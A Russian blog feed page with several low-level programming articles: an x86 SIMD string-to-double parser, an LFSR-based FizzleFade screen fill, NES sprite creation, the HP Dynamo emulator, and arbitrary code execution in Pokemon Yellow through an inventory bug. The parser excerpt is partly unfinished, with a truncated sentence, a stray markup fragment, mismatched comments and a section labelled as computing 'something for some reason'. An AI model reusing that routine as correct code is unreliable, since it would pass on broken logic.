В результат проверяем содержит ли Числовой строки хотя бы один символ цифры и является ли первый символ Числовой строки цифрой. Особенностью данного участка кода в нестандартном поведении инструкции BSF которая проявляется в работе с флагом нуля, а именно если при сканирование первым битом установленным в значение 1 окажется бит с порядковым номером 0 то BSF установит значение регистра назначения в 0 но при этом установит флаг нуля ZF=0 как будто в регистре содержится число отличное от нуля, если же инструкция не обнаружит ни одного бита в значении 1, то регистр назначение не будет подвергнут изменению а флаг нуля будет установлен в ZF=1.

4.4.2. Поиск символа точки разделяющий целую и дробную части Числа.
инвертируем значение HASH_STR в результате чего теперь каждый бит установленный в 1 сигнализирует о символе НЕ цифре.
сканируем HASH_STR от младшего бита к старшему, результат помещаем в DOT_CHAR и устанавливаем флаг нуля ZF=1 если все биты HASH_STR равны нулю.
если флаг нуля ZF=1 то значит строка не содержит ни одного символа отличного от цифры и необходимо выйти из процедуры вернув код ошибки.
сравниваем символ отличный от цифры с символом точка и устанавливаем флаг ZF=0 если они не равны.
если флаг нуля ZF=0 то значит первый символ отличный от цифры не равен символу точка и необходимо выйти из процедуры вернув код ошибки.
; поиск символа точки разделяющий целую и дробную части Числа #region
not HASH_STR
bsf DOT_CHAR, HASH_STR
jz ErrorExit ; точки не обнаружено
cmp byte ptr[CUR_CHAR + DOT_CHAR], '.'
jnz ErrorExit ; символ не является точкой
; #endregion


4.4.3. Сохранение значащей части Числа.
копируем N_Z_CHAR в EAX
сканируем N_Z_CHAR от младшего бита к старшему и помещаем результат в этот же регистр.
сохраняем в память строку из четырех нулей 0000 по адресу на 1 (один) байт меньше адреса указанного в BUFF_STR.
сохраняем в регистр ХММ0 старшую часть строку символов начинающийся с первого символа значащей цифры, на который указывает N_Z_CHAR, игнорирую таким образом ведущие нули.
сохраняем в память старшую часть строки символов по адресу указанному в BUFF_STR.
сохраняем в регистр ХММ0 младшую часть строки символов на которую указывает N_Z_CHAR со смещение в 16 байт.
сохраняем в память младшую часть строки символов начиная с первого символа значащей цифры по адресу указанному в BUFF_STR со смещение в 16 байт.
; сохранение значащей части Числа #region
mov eax, N_Z_CHAR
bsf N_Z_CHAR, N_Z_CHAR
mov dword ptr[BUFF_STR - byte], 30303030h
movdqu xmm0,[CUR_CHAR + N_Z_CHAR]
movdqu [BUFF_STR + 00000000], xmm0
movdqu xmm0,[CUR_CHAR + N_Z_CHAR + xmmword]
movdqu [BUFF_STR + 00000000 + xmmword], xmm0
; #endregion

В результате сохраняем в память строку из 32 символов начиная с первого символа значащей цифры на которую указывает N_Z_CHAR по адресу указанному в BUFF_STR. При этом указанная строка может содержать символ точки и иные символы не относящиеся к цифрам.


4.5. Обработка дробной части Числа.
4.5.1. Загрузка дробной части Числовой строки.
загружаем старшую часть Числовой строку, следующую сразу после точки, на которую указывает DOT_CHAR в регистр ХММ0.
загружаем младшую часть Числовой строку, следующую сразу после точки, на которую указывает DOT_CHAR со смещение 16 байт от начала Числовой строки в регистр ХММ1.
; загрузка дробной части Числовой строки #region
movdqu xmm0,[CUR_CHAR + DOT_CHAR + byte]
movdqu xmm1,[CUR_CHAR + DOT_CHAR + byte + xmmword]
; #endregion


4.5.2. Поиск конца дробной части Числа.
сбрасываем в HASH_STR бит указанный в DOT_CHAR удаляя его из хеша, теперь при следующем сканировании бит указывающий на точку будет проигнорирован.
сканируем HASH_STR от младшего бита к старшему помещая результат в этот же регистр устанавливая флаг нуля ZF=1 если все биты равны нулю.
если флаг нуля ZF=1 то значит дробная часть строки не имеет корректного окончания и необходимо выйти из процедуры вернув код ошибки.
; поиск конца дробной части Числа #region
btr HASH_STR, DOT_CHAR
bsf END_FRAC, HASH_STR
jz ErrorExit
; #endregion

В результате в EXP_CHAR находиться указатель на первый символ экспоненты или окончание Числа относительно начала Числа.

4.5.3. Количество значащих символов Числа.
4.5.3.1. Проверка наличия значащих цифр.
сравниваем END_FRAC и N_Z_CHAR и устанавливаем флаг переполнения CF=1 если N_Z_CHAR больше END_FRAC.
копируем END_FRAC в N_Z_CHAR если CF=1.
; количество значащих символов Числа #region
cmp END_FRAC, N_Z_CHAR
cmovc N_Z_CHAR, END_FRAC

В результате если и целая и дробная часть Числа состоят из одних нулей а первый символ значащей цифры находиться за пределами дробной и целой части числа, о чем свидетельствует факт того что N_Z_CHAR больше END_FRAC, то присваиваем N_Z_CHAR значение END_FRAC то есть указателя на первый символ экспоненты или окончания числа.

4.5.3.2. Подсчет количества значащих символов Числа.
сравниваем N_Z_CHAR и DOT_CHAR и если N_Z_CHAR меньше DOT_CHAR, то есть первая значащая цифра расположен раньше точки, что означает что у числа существует целая часть, устанавливаем флаг переноса CF=1.
копируем в LEN_NUMB указатель на первый символ экспоненты или окончания Числа содержащийся в END_FRAC.
вычитаем из LEN_NUMB указатель на первую значащую цифру содержащуюся в N_Z_CHAR и флаг переноса CF.
cmp N_Z_CHAR, DOT_CHAR
mov LEN_NUMB, END_FRAC
sbb LEN_NUMB, N_Z_CHAR
; #endregion

В результате в LEN_NUMB содержится значение количества цифр Числа начиная с первой значащей цифры без учета символа точки, то есть исключительно количество символов соответствующих цифрам, символ точки в подсчете не учитывается даже если число пересекает точку.


4.5.4. Сохранение дробной части Числа.
вычитаем из DOT_CHAR значение N_Z_CHAR и устанавливаем флаг знака SF=0, если полученное число положительное.
помещаем в OFF_CHAR число 20 равное количеству символов которое будет в дальнейшем использованы для создания мантиссы.
Если флаг знака SF=0 то значит число имеет целой части и необходимо скопировать DOT_CHAR в OFF_CHAR.
сохраняем в память старшую часть строки следующей сразу за символом точки со смещением указанным в OFF_CHAR по адресу указанному в BUFF_STR.
сохраняем в памяти младшую часть строки следующей сразу за символом точки со смещением указанным в OFF_CHAR плюс 16 байт, по адресу указанному в BUFF_STR
; сохранение дробной части Числа #region
sub DOT_CHAR, N_Z_CHAR
mov OFF_CHAR, xmmword + dword
cmovns OFF_CHAR, DOT_CHAR
movdqu xmmword ptr[BUFF_STR + OFF_CHAR + 0000000], xmm0
movdqu xmmword ptr[BUFF_STR + OFF_CHAR + xmmword], xmm1
; #endregion

В результате если число имеет целую часть то в OFF_CHAR помещается длина целой части, в противном случае в OFF_CHAR помещается длина Числа по умолчанию равная 20 байтам. Таким образом таким образом если у числа есть целая и дробная часть они будут склеены в единую строку с удалением символа точки между ними, если число имеет только целую или только дробную часть, то строка символов начинающаяся после точки будет сохранена за пределами сканируемой строки и таким образом проигнорирована.

4.5.5. Зануление недостающих символов Числовой строки.
загружаем в ХММ2 строку символов ноль.
сохраняем в память строку символов ноль со смещением указанным в LEN_NUMB по адресу указанному в BUFF_STR.
сохраняем в память строку символов ноль со смещением указанным в LEN_NUMB плюс 16 байт, по адресу указанному в BUFF_STR.
помещаем в LEN_CELL удвоенное значение DOT_CHAR то есть удвоенную длину целой части числа.
; зануление недостающих символов Числа #region
movdqu xmm2, xmmword ptr Xmm_30
movdqu xmmword ptr[BUFF_STR + LEN_NUMB + 0000000], xmm2
movdqu xmmword ptr[BUFF_STR + LEN_NUMB + xmmword], xmm2
lea LEN_CELL, [DOT_CHAR * 2]
; #endregion

В результат все мусорные символы Числовой строки, находящиеся после последнего символа цифры, на который указывает LEN_NUMB будут заменены символами нуля. Таким образом в памяти будет сформирована единая непрерывная строка начинающаяся с первого значащего символа, содержащая все значимые цифры и дополненная нуля в случае если значимая часть Числа меньше 20 символов. Кроме того в LEN_CELL будет помещена удвоенная сумма знаком между символом точки и первой значащей цифрой.


4.6. Проверка корректного окончания Числовой строки.
4.6.1. Размножение окончания дробной части Числовой строки.
обнуляем регистр N_Z_CHAR.
загружаем в младшее двойное слова регистра ХММ0 четыре символа начиная с символа который следует за последним символом дробной части Числовой строки и на который указывает END_FRAC.
копируем два символа на которые указывает END_FRAC в четыре младших слова регистра ХММ0 и получаем четыре копии пары символов окончания числа.
копируем два символа на которые указывает END_FRAC во все слова регистра ХММ0 и получаем восемь копии копий пары символов окончания числа.
копируем ХММ0 в ХММ1 и получаем шестнадцать копий пары символов окончания числа.
; проверка корректного окончания числа #region
xor N_Z_CHAR, N_Z_CHAR
movd xmm0, dword ptr[CUR_CHAR + END_FRAC]
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
movdqa xmm1, xmm0


4.6.2. Проверка окончания дробной части Числовой строки.
сравниваем слова регистра ХММ0 со строкой символов в памяти содержащей восемь вариантов окончания Числовой строки и устанавливаем значение совпадающих слов в -1 а в остальных случаях в 0.
сравниваем слова регистра ХММ1 со строкой символов в памяти содержащей восемь вариантов окончания Числовой строки и устанавливаем значение совпадающих слов в -1 а в остальных случаях в 0.
складываем значение ХММ0 и ХММ1 и помещаем результат в регистр ХММ0.
сравниваем байты регистра ХММ1 самими собой в результате чего все байт ХММ1 принимают значение -1.
командой PTEST выполняет операцию AND над словами ХММ0 и ХММ1 и если хотя бы одно слово установлены в -1 устанавливаем флаг нуля ZF=0.
если флаг нуля ZF=0 то значит число не имеет записи о значении экспоненты и необходимо миновать участок кода связанный с ее дешифровкой.
pcmpeqw xmm0, Mask_001
pcmpeqw xmm1, Mask_010
paddw xmm0, xmm1
pcmpeqb xmm1, xmm1
ptest xmm0, xmm1
jnz @f


4.6.3. Проверка окончания строки нулем.
копируем в EDX два символа начиная с символа который следует за последним символом дробной части Числовой строки и на который указывает END_FRAC.
устанавливаем флаг нуля ZF=1 если младший байт регистра EDX равен 0.
если флаг нуля ZF=1[/INLINE то значит число не имеет записи о значении экспоненты и необходимо миновать участок кода связанный с ее дешифровкой.
movzx edx, word ptr[CUR_CHAR + END_FRAC]
test dl, dl
jz @f




4.7. Обработка экспоненты.
4.7.1. Проверка символа экспоненты.
сбрасываем бит номер 5 в регистре EDX в результате чего если в регистре содержатся символы строчных букв они будут преобразованы в прописные.
устанавливаем флаг нуля ZF=0 если значение младшего байт регистра EDX НЕ равно значению символа Е.
если флаг нуля ZF=0 то значит числовая строка содержит критическую ошибку в оформлении и необходимо выйти из процедуры вернув код ошибки.
; проверка символа экспоненты #region
btr edx, 5
cmp dl,'E'
jnz ErrorExit
; #endregion


4.7.2. Проверка знака экспоненты
4.7.2.1. Проверка наличия знака экспоненты.
сбрасываем в HASH_STR бит указанный в EXP_CHAR удаляя его из хеша, теперь при следующем сканировании бит указывающий на символ экспоненты Е будет проигнорирован.
увеличиваем значение EXP_CHAR на 1 перемещая указатель на следующий символ экспоненты.
сбрасываем в HASH_STR бит указанный в EXP_CHAR удаляя его из хеша, теперь при следующем сканировании бит указывающий на символ знака экспоненты плюс/минус будет проигнорирован и устанавливаем флаг переноса CF=1 если значение бита было 0 что означает что знак экспоненты отсутствовал.
если флаг переноса CF=1 то значит символ знака экспоненты отсутствует в Числовой строке и необходимо загрузить в младшее слово регистра EDX символ плюс содержащийся в константе Plus.
складываем значение указателя на текущий символ экспоненты EXP_CHAR с флагом переноса CF=1 для учета позиции символа знака экспоненты при ее наличии.
; проверка знака экспоненты #region
btr HASH_STR, EXP_CHAR
inc EXP_CHAR
btr HASH_STR, EXP_CHAR
cmovnc dx, Plus
adc EXP_CHAR, 0

Таким образом если числовая строка не содержит знака экспоненты то для обработки будет принудительно загружен символ плюс при этом позиция текущего символа останется на месте. В случае наличия наличия знака экспоненты указатель на текущий символ будет перемещен на следующий символ после символа знака.

4.7.2.2. Проверка знака Экспоненты.
устанавливаем флаг нуля ZF=1 если значение регистра DH равно символу плюс.
устанавливаем регистр DL в значение 1 если флаг нуля ZF=1.
устанавливаем флаг нуля ZF=1 если значение регистра DH равно символу минус.
устанавливаем регистра DH в значение 1 если флаг нуля ZF=1.
копируем значение бита номер 8 регистра DX во флаг переноса CF.
складываем LEN_CELL и флаг переноса CF.
устанавливаем флаг нуля ZF=1 если значение регистр EDX равно 0.
если флаг нуля
cmp dh,'+'
setz dl
cmp dh,'-'
setz dh
bt dx, 8
adc LEN_CELL, 0
; #endregion

Таким образом информация о знаке экспоненты сохраняется в нулевом бите LEN_CELL, учитывая что LEN_CELL изначально хранит удвоенное значение количество символов между символом точки и первым символом значащего числа то его нулевой бит всегда имеет нулевое значение и загрузка в него символа знака экспоненты не исказит значение.


4.7.3. Позиция первого не нулевого символа экспоненты.
копируем значение EAX в N_Z_CHAR восстанавливая значение N_Z_CHAR ранее сохраненное в EAX в пункте 4.4.3.
обнуляем регистр EAX.
устанавливаем в EAX бит номер которого указан в EXP_CHAR и который соответствует номеру символа следующего сразу после знака экспоненты если он есть или символа экспоненты если знак экспоненты отсутствует.
складываем значение регистра EAX и целое числа, размером в двойное слово, со значением -1 и получаем в EAX значение в котором все биты соответствующие символам до символа указанного в EXP_CHAR принимают значение 1 а после значение 0.
инвертируем значение EAX теперь все биты установлены в 1 соответствуют символам следующим после знака экспоненты не включая его.

; Позиция первого не нулевого символа экспоненты #region
mov N_Z_CHAR, eax
xor eax, eax
bts eax, EXP_CHAR
add eax, -1
not eax
and N_Z_CHAR, eax
bsf N_Z_CHAR, N_Z_CHAR
movdqu xmm0,[CUR_CHAR + N_Z_CHAR]
; #endregion


4.7.4. Проверка окончания строки Экспоненты.
; проверка окончания строки экспоненты #region
bsf END_CHAR, END_CHAR
jz ErrorExit ; окончание отсутствует
movzx eax, byte ptr[CUR_CHAR + END_CHAR]
cmp eax, 20h
ja ErrorExit
add rdx,(1 + 1 shl 09h + 1 shl 0Dh + 1 shl 20h)
bt rdx, rax
jnc ErrorExit
; #endregion



4.8. Вычисление чего-то зачем-то
; #region
sub N_Z_CHAR, END_CHAR
cmp N_Z_CHAR, -4
; jnc ErrorExit
@@: cmp byte ptr[BUFF_STR + 00000000 + xmmword + dword - byte],'5'
mov dword ptr[BUFF_STR + 00000000 + xmmword + dword - byte],'0000'
movd dword ptr[BUFF_STR + N_Z_CHAR + xmmword + qword - byte], xmm0
; #endregion


4.9. Вычисление экспоненты и младшей части Числа
; вычисление экспоненты и младшей части Числа #region
movdqu xmm0,[BUFF_STR + 0000000 - byte]
movdqu xmm1,[BUFF_STR + xmmword - byte]
psubb xmm0, xmm2
psubb xmm1, xmm2
pmaddubsw xmm1, xmmword ptr Xmm_0001
pmaddwd xmm1, xmmword ptr Xmm_0010
; #endregion


4.10. Вычисление множителя
; вычисление множителя #region
movd rax, xmm1
sbb rax, -1
movd xmm1, eax
shr rax, 20h
movd xmm2, rbx
mov ebx, eax
neg eax
sar LEN_CELL, 1
cmovc ebx, eax
add ebx, LEN_CELL
mov eax, ebx
neg eax
cmovns ebx, eax

mov rax, 0A000000000000000h
mov MANT_ARG, 0CCCCCCCCCCCCCCCCh
cmovs MANT_ARG, rax
mov eax, 3
mov LOGB_ARG, -3
cmovs LOGB_ARG, eax

mov MANT_MUL, 1
mov LOGB_MUL, 0
shr HASH_MUL, 1
cmovc MANT_MUL, MANT_ARG
cmovc LOGB_MUL, LOGB_ARG

@@: jz @f
mov rax, MANT_ARG
mul rax
bt rdx, 3Fh
setnc cl
adc LOGB_ARG, LOGB_ARG
shld rdx, rax, cl
mov MANT_ARG, rdx
shr HASH_MUL, 1
jnc @b

mov rax, rdx
mul MANT_MUL
bt rdx, 3Fh
setnc cl
adc LOGB_MUL, LOGB_ARG
shld rdx, rax, cl
mov MANT_MUL, rdx
test HASH_MUL, HASH_MUL
jmp @b

@@: movd rbx, xmm2
; #endregion


4.11. Вычисление целой части Числа.
; вычисление целой части Числа #region
psubb xmm0, xmm2
pmaddubsw xmm0, xmmword ptr Xmm_0001
pmaddwd xmm0, xmmword ptr Xmm_0010
pmulld xmm0, xmmword ptr Xmm_0100
phaddd xmm0, xmm0

movd eax, xmm0
imul rax, Mul_0001
pextrd edx, xmm0, 1
imul rdx, 02710h
add rax, rdx
movd edx, xmm1
add rax, rdx
bsr rcx, rax
add LOGB_MUL, ecx
inc cl
shrd rax, rax, cl
; #endregion


4.12. Вычисление числа.
; вычисление числа #region
mul MANT_MUL
bt rdx, 3Fh
setnc cl
adc LOGB_MUL, 3FFh
shld rdx, rax, cl
shl rdx, 1
shrd rdx, r11, 11
shrd rdx, rsp, 1
btr esp, 0
movd xmm0, rdx
; #endregion


4.13. Выход из процедуры.
ret


4.14. ErrorExit
ErrorExit: ; аварийный выход #region
mov ecx, -1
pcmpeqb xmm1, xmm1
psllq xmm1, 52 + 1
psrlq xmm1, 1
ret
; #endregion


Подробнее..

Попиксельная заливка экрана в Wolfenstein 3D (FizzleFade) свежий взгляд

29.03.2021 18:20:06 | Автор: admin

После прочтения оригинальной статьи ябыл несколько как поражён, так и удивлён...

Сразу скажу что сама идея псевдослучайной заливки экрана с наименьшими коллизиями (свести к минимуму попадания пикселей в уже нарисованные пиксели) ну как минимум потрясает, а тот факт, что для заливки таким образом области экрана 320х200 (64000 пикселей), если верить автору оригинальной статьи, ушло 131071 циклов, а они таки уйдут при 17-ти битном полиноме, т.е. более чем в два раза больше чем необходимо - удивляет и настораживает...

Можно оговориться, что для действительно псевдослучайной заливки пикселями такого экрана понадобится циклов ну где-то в 5 раз больше чем 131071...

И мне стало интересно: а почему решили закрасить 64Кб видеопамяти при помощи, как по мне, избыточной 17-ти битной РСЛОС? Хм...

Итак...

Максимальный период 17-ти битной РСЛОС: 2171 = 131071 цикл

Максимальный период 16-ти битной РСЛОС: 2161 = 65535 циклов

Очевидно же, что 16-ти битной РСЛОС для закрашивания экрана в 64000 пикселей хватает с лихвой.

Надо полагать, что разработчики исходили из того, что раз уж экран 320х200, следовательно для координат по оси X, которые в пределах 1...320 (maximum 140 hex) нужно брать целых 9 бит, т.к. значение 320, минимум куда можно всунуть, так это в 9 бит, в отличии от координат по оси Y, в которой их всего 1...200 (maximum C8 hex) что свободно помещается в 8 бит, итого 9+8=17 бит РСЛОС...

А что если, к примеру, экран был бы 253х253=64009, или 254х252=64008, или 255х251=64005... (Ну да, пошутил) А хотя, вы наверное уже поняли куда я клоню... Вот возьмём значения 255 (FF hex) и 251 (FB hex), ведь все эти числа свободно помещаются в восьмибитные регистры и в перемножении дают 64005, что даже больше чем 64000 байт...

Что ж, осталось реализовать 16-ти битную РСЛОС:

Для 16-ти битной РСЛОС существует 2048 полиномов с максимальным периодом вида: Х16+...+1, в следующем коде я применил, пусть не самый короткий, но он просто первый из них: Х16532+1

Ниже я привёл код, в регистре CX которого, у нас вырабатывается некая гамма с периодом 65535, но не суть...

В старшем CH и младшем CL регистрах у нас значения которые можно использовать как координаты для нашего нестандартного экрана: CH*250+CL, т.е. Y * 250 + X.

При максимальных значениях Х=255 и Y=255 у нас получится 255*250+255=64005... А поскольку в нашей гамме не вырабатывается значение равное 0, а нам ведь нужно закрасить и нулевой адрес видеопамяти, мы смещаем всю линию назад на один пиксель командой dec di.

В следствии чего:

  • 65535 раз наносим пиксель на псевдослучайный адрес в диапазоне от 0 до 64004;

  • 1530 раз попадаем в уже нанесённые пиксели;

  • 5 раз вылетаем за пределы диапазона буфера экрана. (при желании фиксится)

Следующий код реализует псевдослучайную попиксельную заливку экрана 320х200 16-ти битной РСЛОС с максимальным периодом 65535 циклов:

        mov     ax, 13h       ; хотим видеорежим 320х200х256        int     10h           ; попросим об этом BIOS        push    0A000h        ; начало видеобуфера где-то здесь        pop     es            ; нацелим на него сегментный регистр ES        xor     cx, cx        ; вычистим место для будущей РСЛОСnext:   inc     cx            ; теперь в ней единица        shr     cx, 1         ; продвигаем РСЛОС на 1 бит вправо        jnc     skip          ; проверяем не потерялся ли младший бит        xor     cx, 8016h     ; если бит выпал, выставляем новые с инверсией по маске 1000 0000 0001 0110skip:   movzx   bx, cl        ; эм... пусть это будет координата для оси X        movzx   ax, ch        ; ну а здесь для оси Y        imul    di, ax, 0FAh  ; определим смещение перемножив Y с 251 (да, 5 пикселей вне экрана)        add     di, bx        ; добавим смещение по X        dec     di            ; все пиксели на шаг назад, дабы хоть один попал в X=0, Y=0        mov     al, 64        ; подкрасим пиксели        stosb                 ; нарисуем пиксель        loop    next          ; проверяем, не равен ли текущий РСЛОС исходному?        ret                   ; дело сделано!

Не знаю зачем был нужен такой хардкор в предыдущем коде, просто наверное хотел создать видимость работы с заливкой по координатам, ну как это делают на языках высокого уровня)

Ниже демонстрирую более простой, быстрый и понятный код, без X и Y, просто заливаем линейную память нашего видеобуфера по закону, определённому нашей 16-ти битной РСЛОС:

        mov     ax, 13h    ; хотим видеорежим 320х200х256        int     10h        ; BIOS нам поможет в этом        push    0A000h     ; начало видеобуфера        pop     ds         ; подгоняем сегментный регистр DS под видеобуфер        mov     cl, 64     ; выбираем цвет для пикселей        mov     dx, ax     ; запоминаем исходное состояние РСЛОСnext:   shr     ax, 1      ; продвигаем РСЛОС на 1 бит вправо        jnc     noxor      ; проверяем не выпал ли младший бит        xor     ax, 8016h  ; инвертируем РСЛОС по маске: 1000 0000 0001 0110noxor:  cmp     ax, 0FA01h ; проверяем не вышел ли адрес за пределы видеобуфера        jae     skip       ; пропустим всё что не попадает в экранную область        mov     bx, ax     ; копируем AX в BX, т.к. AX не указывает на память        mov     [bx-1], cl ; сместим все адреса влево на 1, чтобы попасть в нулевой адресskip:   cmp     ax, dx     ; сравниваем текущее состояние РСЛОС с исходным        jne     next       ; повторим цикл пока текущий РСЛОС не равен исходному        ret                ; выходим из цикла, т.к. весь экран уже закрашен
Подробнее..

Создание графики для nesdendy

22.04.2021 20:09:52 | Автор: admin

Предыдущие мои статьи рассказывают о том как начать программировать под денди на ассемблере. Мы научились отрисовывать спрайты и background, так же мельком обсудили что такое таблица атрибутов и таблица имен, так же мы разобрались как прочитать контроллер. В тех статьях Я использовал chr от игры super mario bros 2 потому как не художник, но все же для создания игры мне пришлось искать инструменты какое мне помогут в создание своей графики для игры. Под катом этапы разработки графики.


Довольно много времени ушло на то что бы найти инструмент под linux для создания таблицы имен, через какое то время я даже начал писать своё на php. Идея была проста, и уже был близок к завершению. Возможно конвертировать изображение bmp или png пройдя попиксельно. С лева на право 128 пикселей, и с верху в низ 256 строк. Далее определяем цвет каждого пикселя, а таких может быть всего 4-ре и в зависимости от цвета ставим соответствующие биты, каждый пиксель в файле chr описывается 2 битами, по следующему принципу:

  • цвет 0 = 00 = 00000000

  • цвет 1 = 01 = 00000001

  • цвет 2 = 10 = 00000010

  • цвет 3 = 11 = 00000011

То есть эти 2 бита всего лишь последние 2 бита порядкового номера цвета. При этом в спрайтах цвет 0 - прозрачный цвет. В background'e это цвет фона.

В chr буквально храниться 2 банка, 128 на 128 пикселей. Часто 1-банк используется для спрайтов (и называется левым), 2-й банк в свою очередь используется для спрайтов фона (ну или тайлов, Я могу ошибаться в терминологии). С этим разобрались, и вот как только Я заканчивал свой скрипт, то нашел уже готовый на node.js img2chr

Скрипт устанавливается довольно просто

$ npm install -g img2chr

У данного скрипта есть 2-ва параметра 1-й это файл картинки (я использую png), 2-й это файл куда надо сохранить chr

img2chr test.png test.chr

После этого мы можем подключать chr в коде и использовать его.

Немного об эмуляторе FCEUX

Попробовал несколько эмуляторов к моменту написания этой статьи, оказалось что более всего удобен FCEUX под Windows, запущенный из под wine. Он предоставляет дебагер, и может дампить nametable и attribute table что довольно удобно для правильного рендера уровней.

Как я сказал выше Я не художник, и тем более не умею красиво рисовать. Первым делом я создал изображение 128х256 пикселей расчертил по 8 пикселей ячейку, ошибся в первой ячейки но оказалось не критично.

Картинка с линиями

Зеленой линией я разделил картинку на две страницы. Далее я нарисовал грубые контуры будущих спрайтов.

Грубый набросок

После чего я подумал что когда персонаж будет стоять то его тело и руки будут симметричными, по этому сократил количество спрайтов, удалив похожие, ведь их можно аппаратно отобразить по горизонтали или вертикали. При этом добавил спрайты оружия и кулаков, хотел сделать кулаки другого цвета.

Кулаки и удаленные спрайты

Далее я начал работу над сглаживанием контуров, приводя контуры к более геометрически правильному виду, удалив лишние пиксели, и там где не хватало добавил. Часть изображения начал раскрашивать уже в оттенке серого.

Контуры и цвета

Далее я продолжил раскраску спрайтов в соответствующие цвета

Цвета промежуточный вариант

В завершение я удалил сетку с изображения. И раскрасил оставшиеся части. Воображение у меня не такое богатое, что бы рисовать хорошо, но что то более менее среднее получилось.

Окончательный вариант

После этого мне оставалось одно запустить команду

img2png test.png t.chr

Импортировать себе в код и нарисовать фон и спрайты. Напомню что спрайты рисуются довольно просто последовательной записью в порт PPU $2004

  1. Y - координаты

  2. Номер спрайта

  3. Маска отображения

  4. X - координата

Типичный код отрисовки спрайта выглядит так

LDA #100 ; загружаем в акумулятор A значение 100STA $2004 ; сохраняенм значение координаты Y в порт $2004LDA #$01 ; спрайт под номером 1 (0-я строка, 1-й спрайт) STA $2004 ; записываем спрайт в портLDA #%00010110 ; маска STA $2004LDA #100 ; x координата STA $2004

И на экране был выведен мой спрайт. Что не могло не радовать. После этого я вывел все спрайты для отрисовки героя их вышло 10, конечно это очень большое количество спрайтов, так как мы можем достичь ограничений приставки например 64 спрайта одновременно на экране, но об этом мы поговорим в следующих статьях.

Предыдущие статьи:

  1. Программирование NES

  2. Считывание контроллера

Подробнее..

Процессор, эмулирующий сам себя может быть быстрее самого себя

04.06.2021 04:18:40 | Автор: admin

Современный мир ПО содержит настолько много слоёв, что оптимизации могут быть в самых неожиданных местах. Знакомьтесь - год 2000, проект HP Dynamo. Это эмулятор процессора PA-8000, работающий на этом же процессоре PA-8000, но с технологией JIT. И реальные программы, запускающиеся в эмуляторе - в итоге работают быстрее, чем на голом процессоре.

td;dr - всё сказано в заголовке

Программистам из HP Labs стало интересно, а что будет, если написать оптимизирующий JIT компилятор под ту же платформу, на которой он работает. Работа заняла несколько лет. Под эмулятором можно было запускать немодифицированные родные бинари. И результаты оказались несколько неожиданными.

В эмуляторе они искали "hot paths" и оптимизировали ход исполнения кода. Таким образом уменьшались расходы на джампы, вызов функций, динамических библиотек, оптимизации работы с кешем процессора. Результаты повышения производительности доходили до +22%, в среднем по тестам получалось +9%.

Эта короткая заметка написана, чтобы кто-нибудь мог узнать что-то новое, а в совсем технические детали 20-летней давности смысла лезть нет.

Если кому интересны подробности:

1. http://cseweb.ucsd.edu/classes/sp00/cse231/dynamopldi.pdf
2. https://stackoverflow.com/questions/5641356/why-is-it-that-bytecode-might-run-faster-than-native-code/5641664#5641664
3. https://en.wikipedia.org/wiki/Just-in-time_compilation

Подробнее..

Перевод Перепрограммирование GameBoy за счёт бага в Pokemon Yellow

18.05.2021 10:20:20 | Автор: admin

Pokemon Yellow - это карманная вселенная со своими правилами. В ней можно покупать и продавать предметы, тренировать покемонов, побеждать других тренеров но нельзя менять правила самой игры. Нельзя построить себе дом, поменять музыку или даже переодеться. Точнее, так было задумано. На самом деле есть последовательность валидных команд (типа перемещения из одного места в другое и манипуляций с предметами), которая позволяет превратить игру в Pacman, тетрис, Pong, MIDI-проигрыватель и что угодно ещё.

Существует спидран Felipe Lopes de Freitas (p4wn3r), в котором Pokemon Yellow проходится за 1 минуту 36 секунд. Этот спидран основан на следующем хаке: в норме инвентарь игрока ограничен 20 предметами. Но есть баг, который позволяет игнорировать это ограничение и обращаться с памятью, расположенной сразу после инвентаря, как будто бы это был список предметов. Соответственно, стандартные манипуляции с предметами позволяют эту память переписывать. Спидраннер использует эту возможность, чтобы заставить дверь из стартовой комнаты переносить его на финальную локацию, в которой ему остаётся только выслушать поздравления.

Когда я впервые увидел этот спидран и понял, что памятью Gameboy можно манипулировать с помощью одного только списка предметов, безо всяких внешних инструментов, я решил посмотреть, получится ли у меня усовершенствовать приёмы p4wn3r. Вот что получилось:

Gameboy это восьмибитный компьютер. Соответственно, всё происходящее в игре результат того, что исполняется некая последовательность однобайтовых команд. Например, последовательность[62 16 37 224 47 240 37 230 15 55] в местных машинных кодах означает, что надо выяснить, какие кнопки нажаты в данный момент, и записать результат в регистр A. Можно создать программу, которая будет читать ввод с кнопок и записывать куда-нибудь в память исполняемый код, а потом передавать ему управление. Если удастся каким-то образом засунуть такую программу (назовём её программой ввода) в память и заставить Gameboy её исполнить то я выиграл, потому что теперь я могу исполнять произвольный код (скажем, тетрис) вместо Pokemon Yellow.

Во-первых, как написать такую программу? Восьмибитными числами представлены не только правила, но и состояние игры (инвентарь, список покемонов, имя главного героя и т.п.) Инвентарь хранится вот так:

item-one-id         (0-255)item-one-quantity   (0-255)item-two-id         (0-255)item-two-quantity   (0-255)...

Упомянутая выше подпрограмма для чтения кнопок хранится в той же последовательности битов, что и следующий набор предметов:

lemonade     x16guard spec.  x224leaf stone   x240guard spec.  x230parlyz heal  x55

Так что если нам удастся собрать нужные предметы в нужном количестве и порядке то получится код программы ввода. Правда, его с самого начала нужно писать так, чтобы он состоял только из валидных ID и количеств предметов. Это не так-то просто, потому что предметов в игре немного, а многие машинные инструкции состоят из 2-3 битов. Та версия программы, на которой я остановился, состоит из 92 бит; примерно половина из них не делает ничего полезного и вставлена только для того, чтоб код был ещё и корректным списком предметов.

Записать код в память это только полдела, потому что надо ещё заставить игру его исполнить. К счастью для нас, недалеко от инвентаря есть указатель на функцию, которую игра регулярно вызывает, чтобы обсчитывать эффект отравления и прочие штуки, срабатывающие по таймеру. Без него ничего бы не получилось, а с ним мы можем исполнить код по произвольному адресу, положив нужные предметы в соответствующую ячейку инвентаря.

Поехали!

Я начинаю с того, что называю своего противника Lp/k. Эти символы в своё время превратятся в предметы и будут перемещены на указатель функции, чтобы я мог исполнить программу ввода. Но сперва её надо записать, так что я начинаю забег так же, как и p4wn3r: перезапускаю игру при сохранении, чтобы сломать список покемонов. После этого я меняю местами 8 и 10 покемона, что ломает список предметов и позволяет мне манипулировать предметами после 20-го (то есть соответствующей областью памяти). С помощью этих манипуляций я выставляю скорость текста на максимум и переключаю свою дверь на магазин Celadon Dept. store. p4wn3r в этот момент переключил её на Зал славы и выиграл, но мне неинтересен спидран как таковой.

